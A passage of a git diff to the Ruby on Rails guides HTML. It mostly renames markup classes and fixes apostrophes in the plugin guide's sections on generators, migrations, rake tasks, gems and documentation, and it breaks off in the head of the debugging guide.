<h3 id="_the_usage_file">9.2. The USAGE file</h3>
-<div class="para"><p>If you plan to distribute your plugin, developers will expect at least a minimum of documentation. You can add simple documentation to the generator by updating the USAGE file.</p></div>
-<div class="para"><p>Rails ships with several built-in generators. You can see all of the generators available to you by typing the following at the command line:</p></div>
+<div class="paragraph"><p>If you plan to distribute your plugin, developers will expect at least a minimum of documentation. You can add simple documentation to the generator by updating the USAGE file.</p></div>
+<div class="paragraph"><p>Rails ships with several built-in generators. You can see all of the generators available to you by typing the following at the command line:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>./script/generate</tt></pre>
</div></div>
-<div class="para"><p>You should see something like this:</p></div>
+<div class="paragraph"><p>You should see something like this:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>Installed Generators
Plugins (vendor/plugins): yaffle_definition
Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration</tt></pre>
</div></div>
-<div class="para"><p>When you run <tt>script/generate yaffle_definition -h</tt> you should see the contents of your <em>vendor/plugins/yaffle/generators/yaffle_definition/USAGE</em>.</p></div>
-<div class="para"><p>For this plugin, update the USAGE file could look like this:</p></div>
+<div class="paragraph"><p>When you run <tt>script/generate yaffle_definition -h</tt> you should see the contents of your <em>vendor/plugins/yaffle/generators/yaffle_definition/USAGE</em>.</p></div>
+<div class="paragraph"><p>For this plugin, update the USAGE file could look like this:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>Description:
@@ -1297,10 +1096,10 @@ http://www.gnu.org/software/src-highlite -->
</div>
<h2 id="_generator_commands">10. Generator Commands</h2>
<div class="sectionbody">
-<div class="para"><p>You may have noticed above that you can used one of the built-in rails migration commands <tt>migration_template</tt>. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.</p></div>
-<div class="para"><p>This section describes how you you can create your own commands to add and remove a line of text from <em>config/routes.rb</em>.</p></div>
-<div class="para"><p>To start, add the following test method:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/route_generator_test.rb</strong></p></div>
+<div class="paragraph"><p>You may have noticed above that you can used one of the built-in rails migration commands <tt>migration_template</tt>. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.</p></div>
+<div class="paragraph"><p>This section describes how you you can create your own commands to add and remove a line of text from <em>config/routes.rb</em>.</p></div>
+<div class="paragraph"><p>To start, add the following test method:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/route_generator_test.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1358,18 +1157,16 @@ http://www.gnu.org/software/src-highlite -->
File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">,</span> <span style="color: #FF0000">"config"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"routes.rb"</span><span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Run <tt>rake</tt> to watch the test fail, then make the test pass add the following:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Run <tt>rake</tt> to watch the test fail, then make the test pass add the following:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/commands"</span>
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/commands.rb</strong></p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/commands"</span></tt></pre></div></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle/commands.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1414,9 +1211,8 @@ http://www.gnu.org/software/src-highlite -->
Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Create<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Create
Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Destroy<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Destroy
Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>List<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>List
-Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Update<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Update
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/generators/yaffle/yaffle_route_generator.rb</strong></p></div>
+Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Update<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Update</tt></pre></div></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/generators/yaffle/yaffle_route_generator.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1428,9 +1224,8 @@ http://www.gnu.org/software/src-highlite -->
m<span style="color: #990000">.</span>yaffle_route
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To see this work, type:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>To see this work, type:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>./script/generate yaffle_route
@@ -1442,16 +1237,16 @@ http://www.gnu.org/software/src-highlite -->
<img src="./images/icons/note.png" alt="Note" />
</td>
<td class="content">
-<div class="title">Editor's note:</div>If you haven't set up the custom route from above, <em>script/destroy</em> will fail and you'll have to remove it manually.</td>
+<div class="title">Editor&#8217;s note:</div>If you haven&#8217;t set up the custom route from above, <em>script/destroy</em> will fail and you&#8217;ll have to remove it manually.</td>
</tr></table>
</div>
</div>
<h2 id="_migrations">11. Migrations</h2>
<div class="sectionbody">
-<div class="para"><p>If your plugin requires changes to the app's database you will likely want to somehow add migrations. Rails does not include any built-in support for calling migrations from plugins, but you can still make it easy for developers to call migrations from plugins.</p></div>
-<div class="para"><p>If you have a very simple needs, like creating a table that will always have the same name and columns, then you can use a more simple solution, like creating a custom rake task or method. If your migration needs user input to supply table names or other options, you probably want to opt for generating a migration.</p></div>
-<div class="para"><p>Let's say you have the following migration in your plugin:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:</strong></p></div>
+<div class="paragraph"><p>If your plugin requires changes to the app&#8217;s database you will likely want to somehow add migrations. Rails does not include any built-in support for calling migrations from plugins, but you can still make it easy for developers to call migrations from plugins.</p></div>
+<div class="paragraph"><p>If you have a very simple needs, like creating a table that will always have the same name and columns, then you can use a more simple solution, like creating a custom rake task or method. If your migration needs user input to supply table names or other options, you probably want to opt for generating a migration.</p></div>
+<div class="paragraph"><p>Let&#8217;s say you have the following migration in your plugin:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1468,11 +1263,10 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
drop_table <span style="color: #990000">:</span>birdhouses
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Here are a few possibilities for how to allow developers to use your plugin migrations:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Here are a few possibilities for how to allow developers to use your plugin migrations:</p></div>
<h3 id="_create_a_custom_rake_task">11.1. Create a custom rake task</h3>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:</strong></p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1489,9 +1283,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
drop_table <span style="color: #990000">:</span>birdhouses
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/tasks/yaffle.rake:</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/tasks/yaffle.rake:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1506,10 +1299,9 @@ http://www.gnu.org/software/src-highlite -->
Rake<span style="color: #990000">::</span>Task<span style="color: #990000">[</span><span style="color: #FF0000">"db:schema:dump"</span><span style="color: #990000">].</span>invoke <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>schema_format <span style="color: #990000">==</span> <span style="color: #990000">:</span>ruby
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h3 id="_call_migrations_directly">11.2. Call migrations directly</h3>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1517,9 +1309,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>Dir<span style="color: #990000">.</span>glob<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">"db"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"migrate"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"*"</span><span style="color: #990000">)).</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>file<span style="color: #990000">|</span>
<span style="font-weight: bold"><span style="color: #000080">require</span></span> file
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><strong>db/migrate/20081116181115_create_birdhouses.rb:</strong></p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p><strong>db/migrate/20081116181115_create_birdhouses.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1533,20 +1324,19 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
Yaffle<span style="color: #990000">::</span>CreateBirdhouses<span style="color: #990000">.</span>down
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
<td class="content">
-<div class="title">Editor's note:</div>several plugin frameworks such as Desert and Engines provide more advanced plugin functionality.</td>
+<div class="title">Editor&#8217;s note:</div>several plugin frameworks such as Desert and Engines provide more advanced plugin functionality.</td>
</tr></table>
</div>
<h3 id="_generate_migrations">11.3. Generate migrations</h3>
-<div class="para"><p>Generating migrations has several advantages over other methods. Namely, you can allow other developers to more easily customize the migration. The flow looks like this:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Generating migrations has several advantages over other methods. Namely, you can allow other developers to more easily customize the migration. The flow looks like this:</p></div>
+<div class="ulist"><ul>
<li>
<p>
call your script/generate script and pass in whatever options they need
@@ -1558,8 +1348,8 @@ examine the generated migration, adding/removing columns or other options as nec
</p>
</li>
</ul></div>
-<div class="para"><p>This example will demonstrate how to use one of the built-in generator methods named <em>migration_template</em> to create a migration file. Extending the rails migration generator requires a somewhat intimate knowledge of the migration generator internals, so it's best to write a test first:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/yaffle_migration_generator_test.rb</strong></p></div>
+<div class="paragraph"><p>This example will demonstrate how to use one of the built-in generator methods named <em>migration_template</em> to create a migration file. Extending the rails migration generator requires a somewhat intimate knowledge of the migration generator internals, so it&#8217;s best to write a test first:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/test/yaffle_migration_generator_test.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1605,19 +1395,18 @@ http://www.gnu.org/software/src-highlite -->
Dir<span style="color: #990000">.</span>glob<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">,</span> <span style="color: #FF0000">"db"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"migrate"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"*"</span><span style="color: #990000">))</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
<td class="content">
-<div class="title">Editor's note:</div>the migration generator checks to see if a migation already exists, and it's hard-coded to check the <em>db/migrate</em> directory. As a result, if your test tries to generate a migration that already exists in the app, it will fail. The easy workaround is to make sure that the name you generate in your test is very unlikely to actually appear in the app.</td>
+<div class="title">Editor&#8217;s note:</div>the migration generator checks to see if a migation already exists, and it&#8217;s hard-coded to check the <em>db/migrate</em> directory. As a result, if your test tries to generate a migration that already exists in the app, it will fail. The easy workaround is to make sure that the name you generate in your test is very unlikely to actually appear in the app.</td>
</tr></table>
</div>
-<div class="para"><p>After running the test with <em>rake</em> you can make it pass with:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb</strong></p></div>
+<div class="paragraph"><p>After running the test with <em>rake</em> you can make it pass with:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1647,17 +1436,16 @@ http://www.gnu.org/software/src-highlite -->
assigns<span style="color: #990000">[:</span>attributes<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #990000">[</span>Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>GeneratedAttribute<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"last_squawk"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"string"</span><span style="color: #990000">)]</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The generator creates a new file in <em>db/migrate</em> with a timestamp and an <em>add_column</em> statement. It reuses the built in rails <tt>migration_template</tt> method, and reuses the built-in rails migration template.</p></div>
-<div class="para"><p>It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names. This way people using your generator won't have to manually change the generated files if they've turned pluralization off.</p></div>
-<div class="para"><p>To run the generator, type the following at the command line:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The generator creates a new file in <em>db/migrate</em> with a timestamp and an <em>add_column</em> statement. It reuses the built in rails <tt>migration_template</tt> method, and reuses the built-in rails migration template.</p></div>
+<div class="paragraph"><p>It&#8217;s courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names. This way people using your generator won&#8217;t have to manually change the generated files if they&#8217;ve turned pluralization off.</p></div>
+<div class="paragraph"><p>To run the generator, type the following at the command line:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>./script/generate yaffle_migration bird</tt></pre>
</div></div>
-<div class="para"><p>and you will see a new file:</p></div>
-<div class="para"><p><strong>db/migrate/20080529225649_add_yaffle_fields_to_birds.rb</strong></p></div>
+<div class="paragraph"><p>and you will see a new file:</p></div>
+<div class="paragraph"><p><strong>db/migrate/20080529225649_add_yaffle_fields_to_birds.rb</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1671,14 +1459,13 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
remove_column <span style="color: #990000">:</span>birds<span style="color: #990000">,</span> <span style="color: #990000">:</span>last_squawk
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
<h2 id="_rake_tasks">12. Rake tasks</h2>
<div class="sectionbody">
-<div class="para"><p>When you created the plugin with the built-in rails generator, it generated a rake file for you in <em>vendor/plugins/yaffle/tasks/yaffle.rake</em>. Any rake task you add here will be available to the app.</p></div>
-<div class="para"><p>Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/tasks/yaffle.rake</strong></p></div>
+<div class="paragraph"><p>When you created the plugin with the built-in rails generator, it generated a rake file for you in <em>vendor/plugins/yaffle/tasks/yaffle.rake</em>. Any rake task you add here will be available to the app.</p></div>
+<div class="paragraph"><p>Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/tasks/yaffle.rake</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1689,22 +1476,21 @@ http://www.gnu.org/software/src-highlite -->
task <span style="color: #990000">:</span>squawk <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>environment <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
puts <span style="color: #FF0000">"squawk!"</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>When you run <tt>rake -T</tt> from your plugin you will see:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>When you run <tt>rake -T</tt> from your plugin you will see:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>yaffle:squawk # Prints out the word 'Yaffle'</tt></pre>
</div></div>
-<div class="para"><p>You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.</p></div>
-<div class="para"><p>Note that tasks from <em>vendor/plugins/yaffle/Rakefile</em> are not available to the main app.</p></div>
+<div class="paragraph"><p>You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.</p></div>
+<div class="paragraph"><p>Note that tasks from <em>vendor/plugins/yaffle/Rakefile</em> are not available to the main app.</p></div>
</div>
<h2 id="_plugingems">13. PluginGems</h2>
<div class="sectionbody">
-<div class="para"><p>Turning your rails plugin into a gem is a simple and straightforward task. This section will cover how to turn your plugin into a gem. It will not cover how to distribute that gem.</p></div>
-<div class="para"><p>Historically rails plugins loaded the plugin's <em>init.rb</em> file. In fact some plugins contain all of their code in that one file. To be compatible with plugins, <em>init.rb</em> was moved to <em>rails/init.rb</em>.</p></div>
-<div class="para"><p>It's common practice to put any developer-centric rake tasks (such as tests, rdoc and gem package tasks) in <em>Rakefile</em>. A rake task that packages the gem might look like this:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/Rakefile:</strong></p></div>
+<div class="paragraph"><p>Turning your rails plugin into a gem is a simple and straightforward task. This section will cover how to turn your plugin into a gem. It will not cover how to distribute that gem.</p></div>
+<div class="paragraph"><p>Historically rails plugins loaded the plugin&#8217;s <em>init.rb</em> file. In fact some plugins contain all of their code in that one file. To be compatible with plugins, <em>init.rb</em> was moved to <em>rails/init.rb</em>.</p></div>
+<div class="paragraph"><p>It&#8217;s common practice to put any developer-centric rake tasks (such as tests, rdoc and gem package tasks) in <em>Rakefile</em>. A rake task that packages the gem might look like this:</p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/Rakefile:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1736,22 +1522,21 @@ spec <span style="color: #990000">=</span> Gem<span style="color: #990000">::</s
desc <span style="color: #FF0000">'Turn this plugin into a gem.'</span>
Rake<span style="color: #990000">::</span>GemPackageTask<span style="color: #990000">.</span>new<span style="color: #990000">(</span>spec<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>pkg<span style="color: #990000">|</span>
pkg<span style="color: #990000">.</span>gem_spec <span style="color: #990000">=</span> spec
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To build and install the gem locally, run the following commands:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>To build and install the gem locally, run the following commands:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>cd vendor/plugins/yaffle
rake gem
sudo gem install pkg/yaffle-0.0.1.gem</tt></pre>
</div></div>
-<div class="para"><p>To test this, create a new rails app, add <em>config.gem "yaffle"</em> to environment.rb and all of your plugin's functionality will be available to you.</p></div>
+<div class="paragraph"><p>To test this, create a new rails app, add <em>config.gem "yaffle"</em> to environment.rb and all of your plugin&#8217;s functionality will be available to you.</p></div>
</div>
<h2 id="_rdoc_documentation">14. RDoc Documentation</h2>
<div class="sectionbody">
-<div class="para"><p>Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.</p></div>
-<div class="para"><p>The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.</p></div>
+<div class="paragraph"><p>The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Your name
@@ -1773,8 +1558,8 @@ Warning, gotchas or tips that might help save users time
</p>
</li>
</ul></div>
-<div class="para"><p>Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add <em>#:nodoc:</em> comments to those parts of the code that are not part of the public api.</p></div>
-<div class="para"><p>Once your comments are good to go, navigate to your plugin directory and run:</p></div>
+<div class="paragraph"><p>Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It&#8217;s also customary to add <em>#:nodoc:</em> comments to those parts of the code that are not part of the public api.</p></div>
+<div class="paragraph"><p>Once your comments are good to go, navigate to your plugin directory and run:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>rake rdoc</tt></pre>
@@ -1782,9 +1567,9 @@ Warning, gotchas or tips that might help save users time
</div>
<h2 id="_appendix">15. Appendix</h2>
<div class="sectionbody">
-<div class="para"><p>If you prefer to use RSpec instead of Test::Unit, you may be interested in the <a href="http://github.com/pat-maddox/rspec-plugin-generator/tree/master">RSpec Plugin Generator</a>.</p></div>
+<div class="paragraph"><p>If you prefer to use RSpec instead of Test::Unit, you may be interested in the <a href="http://github.com/pat-maddox/rspec-plugin-generator/tree/master">RSpec Plugin Generator</a>.</p></div>
<h3 id="_references">15.1. References</h3>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
<a href="http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i">http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i</a>
@@ -1817,7 +1602,7 @@ Warning, gotchas or tips that might help save users time
</li>
</ul></div>
<h3 id="_contents_of_em_lib_yaffle_rb_em">15.2. Contents of <em>lib/yaffle.rb</em></h3>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
+<div class="paragraph"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1839,10 +1624,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-style: italic"><span style="color: #9A1900"># Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file|</span></span>
<span style="font-style: italic"><span style="color: #9A1900"># require file</span></span>
<span style="font-style: italic"><span style="color: #9A1900"># end</span></span>
-
</tt></pre></div></div>
<h3 id="_final_plugin_directory_structure">15.3. Final plugin directory structure</h3>
-<div class="para"><p>The final plugin should have a directory structure that looks something like this:</p></div>
+<div class="paragraph"><p>The final plugin should have a directory structure that looks something like this:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>|-- MIT-LICENSE
@@ -1906,7 +1690,7 @@ http://www.gnu.org/software/src-highlite -->
</div></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/debugging_rails_applications.html b/railties/doc/guides/html/debugging_rails_applications.html
index 0653caaf7a..07557b9e99 100644
--- a/railties/doc/guides/html/debugging_rails_applications.html
+++ b/railties/doc/guides/html/debugging_rails_applications.html
@@ -1,287 +1,119 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Debugging Rails Applications</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
